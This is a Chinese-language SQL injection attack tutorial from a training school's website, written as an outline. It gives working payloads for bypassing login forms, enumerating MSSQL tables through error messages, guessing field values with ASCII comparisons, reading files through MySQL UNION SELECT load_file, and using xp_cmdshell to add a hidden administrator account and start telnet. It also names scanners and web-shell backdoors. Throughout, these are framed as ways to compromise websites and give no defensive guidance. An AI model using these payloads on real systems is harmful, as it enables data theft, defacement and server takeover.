我的位置: 主页 > 学习专区 > PHP技术 > > SQL注入,刺入网站的核心

SQL注入,刺入网站的核心

2013-12-13 13:54北大青鸟锦江天府学院
[导读] SQL注入,刺入网站的核心 SQL注入的目标是数据库 数据库注入是当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作


SQL注入,刺入网站的核心
SQL注入的目标是数据库
数据库注入是当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为
包含未筛选的用户输入的字符串来传递时,也会发生SQL注入攻击。SQL注入可能导致攻击者能够使用应用程序登录,并在数据库中执行命令。

数据库就是网站的一切内容
数据库分为两类:关系型数据库和面向对象型数据库
明白几个SQL中要用到的名词
数据表(table),记录(data record),字段(field),查询(query),SQL,索引(index)和键(key)等。
1.数据表(table),记录(data record)和字段(field)
2.查询(query)与SQL
查询是通过各种SQL指令执行的,SQL指令负责具体完成筛选和提取结果数据的工作。SQL(Structured Query Language结构化查询语句)
3.索引(index)和主键(primary key)
为了提高查询速度,需要为数据建立适当的索引。索引是一种辅助性的数据表,它们只包含一种信息-原始数据记录的排序情况。主索引(primary index)
SQL注入攻击中常碰到的几种DBMS(Database Management System)
数据库管理系统是一种操纵和管理数据库的软件,是用于建立,使用和维护数据库,简称DBMS。3种重要的类型:分级模型,网络模型,关系模型。
1.Microsoft SQL Server
2.MySQL
3.Microsoft Access
4.Oracle
网上常见的数据库与语言网站架构方式:MySQL+PHP,MSSQL+PHP,ASP+MSSQL,ASP+Access,JSP+Oracle,JSP+MYSQL,ASPX+ACCESS,ASPX+MSSQL和ASPX+ACCESS
提前了解几条SQL注入查询指令
1.数据记录筛选语句
sql=”select * from 数据表 where 字段名=字段值 order by 字段名[desc]”
sql=”select * from 数据表 where 字段名 like ‘%字段值%’ order by 字段名 [desc]”
sql=”select top 10 * from 数据表 where 字段名 order by 字段名 [desc]”
sql=”select * from 数据表 where 字段名 in (‘值1′,’值2′,’值3′)”
sql=”select * from 数据表 where 字段名 between 值1 and 值2″
2.更新数据记录语句
sql=”update 数据表 set 字段名=字段值 where 条件表达式”
sql=”update 数据表 set 字段1=值1,字段2=值2…字段n=值n where 条件表达式”
3.删除添加数据记录语句
sql=”delete from 数据表 where 条件表达式”
sql=”delete from 数据表”
sql=”insert into 数据表 (字段1,字段2,字段3…) values (值1,值2,值3…)”
sql=”insert into 目标数据表 select * from 源数据表”
4.数据记录统计函数
AVG(字段名)得出一个表格栏平均值
COUNT(*|字段名)对数据行数的统计或对某一栏有值的数据行数统计
MAX(字段名),MIN(字段名),SUM(字段名)
sql=”select sum(字段名) as 别名 from 数据表 where 条件表达式”
set rs=conn.excute(sql)
5.数据表的建立与删除
CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度)…)
DROP TABLE 数据表名称 (永久性删除一个数据表)

欺骗是如何进行的
SQL注入攻击,就是攻击者通过往SQL的query中插入一系列的SQL语句,来操作数据写入到应用程序中去,从而达到非法操作数据库或者网站程序的目的。
一个无名小站与一条典型的SQL语句
SQL注入式攻击主要是通过非法修改提交SQL查询语句,达到猜解或破坏数据库的目的。
创建SQL注入检测的数据库平台
首先,需要搭建一个SQL注入攻击的目标-数据库 MS SQL
搭建一个SQL注入漏洞站点
第一次SQL注入攻击测试

SQL注入攻击前奏
网站平台决定攻击方式
根据网站所使用的web脚本语言不同,SQL注入攻击可以分为ASP注入,PHP,JSP,ASPX注入等多种方式。
攻击前的准备工作
1.取消友好HTTP错误信息
2.准备猜解用的工具
SQL注入漏洞扫描与猜解工具
ASP环境的注入扫描器主要有”WIS+WED”,NBSI2,HDSI,pangolin_bin
PHP环境的注入攻击工具主要有”二娃”,CASI
ASP木马后门:冰狐浪子,海阳顶端木马,ASP站长助手,蓝屏木马
PHP木马后门:PHPSpy,黑客之家PHP木马
ASC码逆转换工具,C2C注入格式转换器,SQl注入字符串转换工具,主要用于在注入检测工程中转换注入语句编码,突破过滤防护限制。
寻找攻击入口
1.手工检测SQL注入点
两种检测方法
“加引号”法
经典的”1=1和1=2″法
2.快速扫描出网站的安全威胁
WIS扫描法
使用NBSI扫描
区分SQL注入点的类型
1.数字型注入点
select * from 表名 where 字段=50 AND [查询条件]
2.字符型注入点
select * from 表名 where 字段=’日期’ and [查询条件]
3.搜索型注入点
这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有”keyword=关键字”,有的不显示明显的链接地址,而是直接通过搜索框表单提交。
select * from 表名 where 字段 like ‘%’ and [查询条件] and ‘%’='%’
判断目标数据库类型
1.过分体贴的错误提示
“Microsoft OLE DB Provider for SQL Server”错误’80040e14′,由此可以看出数据库采用的是SQL SERVER;如果返回”Microsoft JET Database Engine”错误’8004e14′
之类的信息,基本上可以确定采用是ACCESS数据库。如果”Microsoft OLE DB Provider for ODBC Drivers”错误’80040e14′的语句,则有可能是ACCESS数据库,也可能是SQL数据库。
2.报出数据库类型
SQL SERVER有一些系统变量和系统板,如果服务器IIS提示没关闭,并且SQLSERVER返回错误提示的话,那么可以直接从出错的信息获取判断数据库类型。
内置变量报出数据库类型
其方法是在注入点后加上”and user>0″.user是SQLSERVER的一个内置变量,它的值是当前连接的用户名,其类型为”nvarchar”.在转换过程中会出错,SQLSERVER会报错。
内置数据表报出数据库类型
ACCESS和SQLSERVER数据库都要自己的系统表,如存放数据库中所有对象的表,ACCESS是在系统表[msysobjects]中,但在web环境下读取该表会提示”没有权限”,SQLSERVER
是在[sysobjects]中,在web环境下可正常读取。

‘or’='or’绕过不安全的登陆框
‘or’='or’攻击突破登录验证的演示
‘ or 1=1–,” or 1=1– ,or 1=1–,’ or ‘a’='a,” or “a”=”a,’) or ( ‘a’='a
未过滤的request.from造成注入

注入ACCESS数据库全靠猜解
信息很丰富的select查询
1.建立一个ACCESS攻击目标数据库
2.需要灵活使用的几个select查询
3.使用where字句设置查询条件
4.查询结果排序
使用select猜解ACCESS表及字段名
确定了SQL注入点的存在后,可将查询条件替换成SQL语句,从而猜解出数据库的表名。
1.ACCESS中的查询实验
2.使用select count()转换查询类型
3.猜解表名及字段名的实例
ASCII逐字解码法猜解字段值
在表名和字段名猜解成功后,攻击者可继续使用SQL语句,猜解出所有字段中的值。比较常用的方法是”ASCII逐字解码法”
1.ACSII逐字解码法
and (select top 1 len(username) from admin)>0
在得到”username”字段后,可以使用”asc(mid(username,N,1))”
2.猜解字段值的实例
ASCII码转换器
三分钟攻陷一个网站
1.快速破解用户密码
“WIS+WED”和NBSI2使用
“wis.exe”是用来扫描某个站点中存在的SQL注入漏洞的,并且可以扫描到后台管理员登录的路径。”wed.exe”是用来猜测SQL注入账号和密码的。
NBSI自动猜解用户密码
MD5密码的破解
2.扫描后台登录界面
WIS扫描后台登录界面
NBSI扫描后台登录界面
网站是怎样被控制的
1.数据库备份上传ASP木马
2.将网站服务器控制在手

为MSSQL带来灾难的高级查询
建立MSSQL数据库进行攻击演示
有趣的MSSQL出错信息
select * from [成绩] having 1=1–
SQl高级查询之Group By和Having
1.SQL查询中的聚合函数
2.group by查询
报出MS SQL表名和字段名的实例
数据记录也报错
继续前面的”入侵”
修改数据库,插入数据
;update skill set title=’我不是黑客,哈哈’ where id=’1′
报出任意表名和字段名
and (select top 1 name from (select top[N]id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top 1 col_name(object_id([T]),[N])from sysobjects)>1

扩展存储过程直接攻击服务器
存储过程快速攻击数据库
SQL中的”master.dbo.xp_cmdshell”,”xp_servicecontrol”等扩展存储过程是一类用来扩展数据库功能的命令,利用它可以完成对整个系统的控制。
如果当前连接的数据库的账号具有SA权限,并且数据库中存在该扩展存储过程的话,就可以入侵网站服务器。
1.判断当前数据库连接用户权限 and user>0
2.获得当前连接的数据库名 and db_name()>0
3.执行任意命令
利用”master.dbo_xp_cmdshell”扩展存储过程,可以执行任意命令
a.添加系统账号
;exec master.xp_cmdshell “net user xiaoyao loveyou /add”
提交”;exec master..xp_cmdshell “net localgroup administrators xiaoyao /add”"将账号”xiaoyao”的用户提升为管理员
b.开启telnet服务
提交”;exec master..xp_servicecontrol “net start/add”"即可开启远程服务器上的telnet服务
此外,在SQL中还有一些扩展存储,可以操作注册表,读取任意文件,甚至可以在服务器的web虚拟路径中写入ASP木马后门。
利用NBSI注入控制服务器
1.简单获取数据库信息
2.”NB Commander命令执行器”轻松获取系统权限
3.”HBTreeList”目录列表提升权限

构造PHP注入攻击
手工PHP注入
先加”‘”,再提交”and 1=1″,再提交”and 1=2″,再提交”and 1=2 union select 1″,再提交”and 1=2 union select 1,2″
提交”union select 1,user(),3,version(),session_user(),6,database(),current_user()”
读取PHP配置文件
提交语句”and 1=2 union select 1,2,3,4,5,6,7,load_file (d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php)”但是,
MYSQL数据库设置了”magic_quotes_gpc=on”可以将文件路径转化为ASCII码再进行提交C2C注入格式转换器
CASI自动PHP注入



热点专题
>>
相关文章推荐
>>
www.028bdqn.com/" title="北大青鸟证书" class="tagc1" target="_blank">北大青鸟证书 北大青鸟学历 华为 集体 班好 凤凰山 一峰 红树 林骑行 成功者 云景 清远北大青鸟 网页制作 文天祥 惠州北大青鸟 河源北大青鸟 梁*伟 秦*政 温*典 许*灿 珠海北大青鸟 林*涛 李*军 罗* 陈*标 雷* 王*轩 张*兴 温*华 苏*胜 廖*军 徐*凝 陈*昌